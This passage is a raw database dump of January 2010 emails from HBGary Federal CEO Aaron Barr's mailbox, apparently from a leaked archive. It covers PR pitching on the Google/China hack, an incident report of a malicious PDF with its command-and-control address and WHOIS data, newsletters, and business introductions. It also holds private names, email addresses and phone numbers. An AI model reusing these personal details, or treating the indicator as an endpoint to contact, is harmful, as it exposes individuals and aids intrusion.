waiting for the quote from palntor.  Hope to have it all to you on Monday.  Ted and I are going to be working the budget early next week.Have a good weekend.\r\nAaronFrom my iPhoneOn Jan 15, 2010, at 3:07 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nSounds good, Aaron. Thanks so much for putting all your thoughts down. It will be very helpful pitching. Let me know too if you had a chance to talk to Ted re how many hours you&#39;d like me to bill  per month, etc. Also, advise on status of release -- I sent you a draft earlier this week. Thanks for everything -- have a great weekend and talk to you next week. Best, Karen   \r\n--- On Fri, 1/15/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Attribution re Google/China Hack Incident\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Friday, January 15, 2010, 1:39 PM\r\nOK I have read enough.  I would like to set up a call to discuss some things I will put together over the weekend.\r\n\r\nAttribution\r\nPolicy and Legal Changes\r\nProactive Defense\r\nThreat Intelligence\r\nInformation Sharing\r\n\r\nAbstracts, Interviews, Speaking...\r\n\r\nNot sure if you are aware but HBGary was subject to what is likely the same type of attack that hit Google and many other companies.  We received an email that looked like it came from a customer but contained malware in a PDF.  This topic is going to get very hot.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Jan 14, 2010, at 12:31 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I wanted to see if you could provide your take on this week&#39;s Google/China cybersecurity incident. \r\n \r\nWhen we last spoke, you mentioned the importance of attribution -- that companies/government agencies need to be able to identify source of attacks to be able to respond. In some of the articles, experts say:\r\n \r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary&#39;s technology?  Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n\r\n \r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n \r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n \r\nLet me know what you think. Thanks, Karen \r\n \r\n   \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',14358,'aaron_hbgary_com/14358.html'),(1164,'2010-01-15','rich@hbgary.com','/aaron@hbgary.com/new/1297000255.M665282P3547Q1164.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Targeted PDF attack - hit HBGary -','I\'m working it now... So crazy... Call u laterSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 15 Jan 2010 10:46:55 -0700To: Rich Cummings&lt;rich@hbgary.com&gt;Cc: \'Penny Leavy\'&lt;penny@hbgary.com&gt;; &lt;greg@hbgary.com&gt;; \'Phil Wallisch\'&lt;phil@hbgary.com&gt;Subject: Re: Targeted PDF attack - hit HBGary -wow.How accurate was the information in the email?Can\'t wait to get more information on this.AaronOn Jan 15, 2010, at 7:27 AM, Rich Cummings wrote:All,&nbsp;Penny received a fake purchase order from “GE”.&nbsp; Bob opened the PDF on his machine because he was expecting a purchase order from them.&nbsp; The PDF that we received will beacon back to China after the PDF is opened up and looked at.&nbsp; Below is where the PDF reaches out to get an update.&nbsp; 221.9.252.12/rbin/update.php&nbsp;I’m meeting Bob for lunch to image his machine with FDPro and Encase to gather all facts.&nbsp; Has anyone else opened the pdf? &nbsp;&nbsp;&nbsp;More to come.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0 - 221.9.255.255netname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNICOM-JLdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicom JILIN province networkdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicomcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNadmin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APtech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APremarks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service providermnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HMmnt-lower:&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLmnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;hm-changed@apnic.net&nbsp;20030211status:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED PORTABLEchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20040301changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20060124changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20090508source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICroute:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0/15descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNC Group CHINA169 Jilin Province Networkcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNorigin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS4837mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@cnc-noc.net&nbsp;20060118source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChinaUnicom Hostmasternic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APe-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No.21,Jin-Rong Streetaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beijing,100140address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P.R.Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259940fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259764country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cn&nbsp;20090408mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUPsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wang Tiegangnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APe-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NO.3535,Renmin Street, ChangChun ,address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jilin province , 130021 , P.R. Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560792fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560816country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cn&nbsp;20060626mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICBold: Object type.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8794,'aaron_hbgary_com/8794.html'),(1165,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000255.M907546P3547Q1165.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://oreilly.com/catalog/9780596802158/\r\n\r\n\r\n From my iPhone\r\n',2982,'aaron_hbgary_com/2982.html'),(1166,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000256.M107865P3547Q1166.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.marketingvox.com/yahoo-google-combine-social-media-with-local-mobile-search-045990/\r\n\r\n\r\n From my iPhone\r\n',394,'aaron_hbgary_com/394.html'),(1167,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000256.M336244P3547Q1167.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','','http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html\r\n\r\n\r\n From my iPhone\r\n',86,'aaron_hbgary_com/86.html'),(1168,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000256.M528541P3547Q1168.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.virustotal.com/\r\n\r\n\r\n From my iPhone\r\n',10249,'aaron_hbgary_com/10249.html'),(1169,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000256.M837485P3547Q1169.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','China attack - mandiant','http://mobile.computerworld.com/device/article.php?CALL_URL=http://www.computerworld.com/s/article/9145279/Chinese_authorities_behind_Google_attack_researcher_claims\r\n\r\n\r\n From my iPhone\r\n',2130,'aaron_hbgary_com/2130.html'),(1170,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000257.M214109P3547Q1171.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.wired.com/epicenter/2010/01/google-china-engagement/\r\n\r\n\r\n From my iPhone\r\n',5549,'aaron_hbgary_com/5549.html'),(1171,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000257.M25875P3547Q1170.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','','http://m.gizmodo.com/site?sid=gizmodoip&pid=JuicerHub&targetUrl=http%3A%2F%2Fgizmodo.com%2F5449037%2F%3Fop%3Dpost%26refId%3D5449037\r\n\r\n\r\n From my iPhone\r\n',11065,'aaron_hbgary_com/11065.html'),(1172,'2010-01-15','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297000257.M448540P3547Q1172.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Friday, January 15, 2010 \r\n								VOLUME 7 ISSUE 4 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Sponsored Products\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Is the U.S. government overreacting to the Christmas terror attack by greatly increasing airport security procedures?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  No. The botched attempt revealed a flaw in the current system that must be patched.&nbsp;Yes. What else will passengers have to take off to prove that they aren&#146;t carrying a bomb?&nbsp;We should design airport security from the bottom up instead of building with appliques.&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Sponsored Products\r\n        \r\n          See our list of sponsored products.\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Standing Outside the Wire\r\n        DHS Leader Describes Partnership With Michigan\r\n        2010 Military Pay Calculator Now Available\r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nAFCEA Bethesda Monthly Breakfast Series Federal Civilian and DoD Networking and Education Breakfast01/21/2010Bethesda North Marriott and Conference Center, Bethesda, AL details ...AFCEA NoVA Monthly Luncheon01/22/2010Sheraton Premiere at Tysons Corner , Vienna, VA details ...AFCEA Belvoir January Monthly Luncheon Luncheon, Networking, Belvoir, 01/27/2010Fort Belvoir Officers\' Club, Fort Belvoir, VA details ...AFCEA DC Panel Series - Air Force IT02/05/2010Pentagon City Ritz Carlton, Arlington, VA details ...Beyond SOA & Cloud: Next Generation Information Exchange in High Consequence Environments02/10/2010Capital Hilton, Washington, DC details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\n        Joint Army System Boasts Hybrid Network\r\n          The Joint Battle Command-Platform, or JBC-P, the second increment of the Force XXI Battle Command Brigade and Below, will employ both a celestial and terrestrial network to optimize bandwidth, efficiency and speed to adapt to various terrains and situations. [Read more...]\r\n        Military Moves Social Networking to Safety\r\n  The U.S. military has added a third feature to its knowledge management tool suite milSuite by imitating a popular social networking site behind the firewall.  [Read more...]  \r\n\r\nExperimental Protocol May Speed Battlefield Bits and Bytes\r\n  Managing bandwidth over military computer networks is critical for modern combat operations. An experimental networking protocol may help get vital information to warfighters by tracking data and giving priority to specific users, such as a unit involved in a firefight.  [Read more...]  \r\n\r\n\r\n News Briefs\r\nUK to Develop Cybersecurity Test Range\r\n  The U.K. Technology Strategy Board has selected a team to develop a cyber test range to research and test cybersecurity threats on large-scale networks. The range will be developed under the Self-Organizing Adaptive Technology Under Resilient Networks (SATURN) network defense research program, a collaborative project focused on information infrastructure. It will enable the United Kingdom to conduct significant cyber experiments and assessments of infrastructure survivability and assurance as well as to test and analyze new concepts and technologies aimed at combating cyberthreats. One of SATURN\'s goals is to provide capabilities that protect against the vulnerabilities of information systems and complex networks. Team members include Northrop Grumman Corporation, Saïd Business School at the University of Oxford, Warwick University\'s School of Engineering and the Department of Electrical and Electronic Engineering at Imperial College. \r\n  Power From Paper\r\n  The term 8½\" by 11\" is gaining another definition: power source. Scientists at Stanford University have combined ordinary office paper with carbon and silver nanomaterials to make batteries and supercapacitors. The work brings scientists one step closer to the ability to create lightweight printable batteries that could be incorporated into computers, cell phones and solar panels. Paper\'s porous nature is what helps ink stick to it. When carbon nanotube ink is applied to paper, nanotubes are caught tightly in the matrix of fibers within the paper and stay there via electrostatic forces. It is estimated that conductive paper coated with a kilogram of carbon nanotubes could power a 40-watt bulb for an hour. Follow-up research will include increasing the scale of the technology.\r\nSupercomputer Solves Energy Problems, Conserves Power\r\n  Sandia National Laboratories and the U.S. Department of Energy\'s National Renewable Energy Laboratory are using the 10th fastest computer in the world to solve energy challenges. Red Sky earned its Top 10 spot by temporarily aggregating with a second system that is being constructed with the same architecture and components. The super-configuration achieved a peak performance of more than 500 teraflops (500 trillion floating point operations per second) and 433.5 teraflops against the Linpack benchmark often used to rank supercomputer speed. In addition to addressing outside energy problems, Red Sky conserves power. It is the most energy-efficient high-performance computing system ever used at Sandia. \r\n  Vehicles Fitted With Advanced Radios\r\n  The U.S. Defense Department\'s new mine resistant ambush protected (MRAP) all-terrain vehicles (M-ATVs), crucial for transporting Marines, will be equipped with the Falcon II AN/VRC-104 high frequency radio systems. In particular, the radios will provide the U.S. Marine Corps with secure beyond line-of-sight terrestrial communications that include tactical satellite transmissions. Manufactured by Harris Corporation, the AN/VRC-104s onboard the M-ATVs will help maintain over-the-horizon communication links in Afghanistan\'s mountainous terrain and across the country\'s increasingly bomb-ridden roads.   \r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nDefense Contractor Revamps Its Structure\r\n  ITT Corporation realigned its former Defense Electronics and Services segment into ITT Defense and Information Solutions on January 5. The move consolidates the business\' seven divisions into three in an effort to streamline efficiencies and to respond better to its anticipation of future customer needs.\r\n  [Read more...]\r\n  \r\n  \r\n  Cybersecurity Expert: Less Talk, More Action\r\n  When it comes to cybersecurity, the time for talk is over and the time for action is way overdue, according to one cybersecurity expert.\r\n  [Read more...]\r\n  \r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      January 2010\r\n      Focus: Collaborative Technologies\r\n        The whole is greater than the sum of its parts, so goes the old adage. When it comes to processing information, that adage holds up well. When it comes to sharing information, that adage becomes apostolic. Collaboration in the information age has become the force multiplier of the force multiplier, as information technology users discover both new capabilities and new means of collaboration. SIGNAL Magazine\'s first issue of 2010 looks at both arenas as it reports on enabling technologies and the results of collaborative efforts.\r\n      \r\n      Focus: AFRICOM\r\n      The newest U.S. joint command may be at the vanguard of future overseas military missions. The Africa Command, or AFRICOM, faces a mission rife with diversity and change. Its area of responsibility extends across dozens of countries, many of which are embroiled in conflict-both internal and external. And, natural disasters plague the nearly 1 billion people scattered throughout the world\'s second-largest continent. SIGNAL Magazine\'s January issue focuses on the varied challenges facing AFRICOM as it attempts to establish relationships with the diverse members of its area of operation.\r\n      Read these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Homeland Security\r\n         More than eight years after the September 11, 2001, terrorist attacks, the concept of homeland security has become more distinct as organizations have defined their operations and goals. But simply knowing what needs to be done is not nearly enough to ensure homeland security. The terrorist threat has metamorphosed to adapt to new preventive and deterrent measures, while other threats with different motives have emerged to menace the commonweal. SIGNAL Magazine\'s February 2010 issue looks at these new challenges along with solutions in the works.\r\n         Focus: U.S. Air Force\r\n         The airborne service always has been on the leading edge of technology development, and the advent of the information age has emphasized the importance of that leadership. But, with the very concept of conflict changing as asymmetric warfare leaps to prominence, the U.S. Air Force has had to adjust both its present and its future. This course change affects both current operational doctrine and advanced technologies that will define the service itself. SIGNAL\'s February focus report examines how the Air Force is changing today for a different tomorrow.\r\n         \r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n				\r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n\r\n\r\nvar pageTracker = _gat._getTracker(\"UA-1095862-1\");\r\npageTracker._initData();\r\npageTracker._trackPageview();\r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n',994,'aaron_hbgary_com/994.html'),(1173,'2010-01-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000258.M271279P3547Q1173.eml','all@hbgary.com','HBGary Employee Handbook','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nCould you please read the handbook as there is new\r\ninformation you should be aware of.&nbsp; &nbsp;Please send me the letter of\r\nacknowledgment as soon as possible.\r\n\r\n&nbsp;\r\n\r\nThank you and have a great 3 day weekend!\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12332,'aaron_hbgary_com/12332.html'),(1174,'2010-01-16','\"Matt Sturges\" <msturges@apple.com>','/aaron@hbgary.com/new/1297000258.M521469P3547Q1174.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Apple Intro','Aaron,\r\n\r\nGreat meeting you this week at the conference, hopefully the rest of  \r\nthe week went well for you.\r\n\r\nPer our conversation, I\'ve cc\'d Andy Kemp from our team. Andy holds a  \r\nTS and covers our Intel side of the business.\r\n\r\nAndy, Aaron, recently took over as CEO for HB Gary Federal, but came  \r\nover from NG where he worked on a lot of interesting projects.  \r\nSpecifically he has one that he wanted to talk to you about that  \r\nrequires a clearance.\r\n\r\nI\'ve attached both of your vcards so you guys can connect.\r\n\r\nAaron, let me know when you make it out west and we can hook up at  \r\nApple.\r\n\r\nThanks,\r\n\r\nMatt',9591,'aaron_hbgary_com/9591.html'),(1175,'2010-01-16','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297000258.M704638P3547Q1175.eml','\"Matt Sturges\" <msturges@apple.com>,\"Matt Sturges\" <msturges@apple.com>','Re: Apple Intro','Matt /Aaron\r\nI\'m ready to meet whenever it is good for you.\r\n\r\nMy clearances are ts/sci with additional compartments, so I can meet  \r\nwherever you choose.\r\n\r\nThanks Matt\r\n\r\nRegards,\r\n\r\nAndy Kemp\r\nNational Programs\r\nApple Inc.\r\n2409883476\r\n\r\n\r\nOn Jan 15, 2010, at 6:01 PM, Matt Sturges  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Great meeting you this week at the conference, hopefully the rest of  \r\n> the week went well for you.\r\n>\r\n> Per our conversation, I\'ve cc\'d Andy Kemp from our team. Andy holds  \r\n> a TS and covers our Intel side of the business.\r\n>\r\n> Andy, Aaron, recently took over as CEO for HB Gary Federal, but came  \r\n> over from NG where he worked on a lot of interesting projects.  \r\n> Specifically he has one that he wanted to talk to you about that  \r\n> requires a clearance.\r\n>\r\n> I\'ve attached both of your vcards so you guys can connect.\r\n>\r\n> Aaron, let me know when you make it out west and we can hook up at  \r\n> Apple.\r\n>\r\n> Thanks,\r\n>\r\n> Matt\r\n> \r\n> \r\n>\r\n>\r\n>\r\n>\r\n> ---------------------------------------\r\n> Matt Sturges\r\n> Western Regional Sales Manager\r\n> Department of Defense\r\n> c. 650.868.2870\r\n> f. 866-316-5404\r\n> msturges@apple.com\r\n> ---------------------------------------\r\n>\r\n>\r\n>\r\n>\r\n>\r\n',14341,'aaron_hbgary_com/14341.html'),(1176,'2010-01-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000258.M959778P3547Q1176.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Apple Intro','From my iPhoneBegin forwarded message:From: Matt Sturges &lt;msturges@apple.com&gt;\r\nDate: January 15, 2010 8:01:35 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Cc: Kemp Andy &lt;akemp@apple.com&gt;\r\nSubject: Apple IntroAaron,Great meeting you this week at the conference, hopefully the rest of the week went well for you.\r\nPer our conversation, I&#39;ve cc&#39;d Andy Kemp from our team. Andy holds a TS and covers our Intel side of the business.Andy, Aaron, recently took over as CEO for HB Gary Federal, but came over from NG where he worked on a lot of interesting projects. Specifically he has one that he wanted to talk to you about that requires a clearance.\r\nI&#39;ve attached both of your vcards so you guys can connect.Aaron, let me know when you make it out west and we can hook up at Apple.Thanks,\r\nMatt\r\n',2068,'aaron_hbgary_com/2068.html'),(1177,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000259.M141619P3547Q1177.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://gigaom.com/2010/01/15/how-to-beat-the-internet-censors/\r\n\r\n\r\n From my iPhone\r\n',12742,'aaron_hbgary_com/12742.html'),(1178,'2010-01-16','\"Aaron Barr\" 